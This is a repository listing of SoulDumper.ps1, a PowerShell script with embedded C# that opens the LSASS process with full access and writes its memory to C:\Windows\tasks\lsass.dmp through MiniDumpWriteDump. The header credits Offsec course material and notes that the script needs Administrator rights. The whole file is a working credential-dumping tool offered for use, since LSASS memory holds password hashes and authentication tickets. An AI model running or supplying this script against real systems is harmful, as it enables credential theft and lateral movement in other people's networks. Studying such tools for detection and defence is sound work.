etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
SoulDumper.ps1 (1476B)
      1 <#
      2     Author: vari.sh
      3             elbae
      4 
      5     Description: This script let you dump LSASS process.
      6                   Warning: it needs Administrator privileges
      7                   Part of the code came from Offsec courses
      8     Usage: .\SoulDumper.ps1
      9 #>
     10 
     11 Add-Type -TypeDefinition @"
     12 using System;
     13 using System.Collections.Generic;
     14 using System.Diagnostics;
     15 using System.IO;
     16 using System.Linq;
     17 using System.Runtime.InteropServices;
     18 using System.Text;
     19 using System.Threading.Tasks;
     20 
     21 namespace InMemoryMiniDumpWriteDump
     22 {
     23     public class Dumper
     24     {
     25         [DllImport("Dbghelp.dll")]
     26         static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
     27         
     28         [DllImport("kernel32.dll")]
     29         static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
     30 
     31 
     32         public static void Dump()
     33         {
     34             FileStream dumpFile = new FileStream("C:\\Windows\\tasks\\lsass.dmp", FileMode.Create);
     35             Process[] lsass = Process.GetProcessesByName("lsass");
     36             int lsass_pid = lsass[0].Id;
     37             IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
     38             bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
     39         }
     40     }
     41 }
     42 "@
     43 
     44 
     45 # Dumping
     46 Write-Host "Dumping..."
     47 [InMemoryMiniDumpWriteDump.Dumper]::Dump()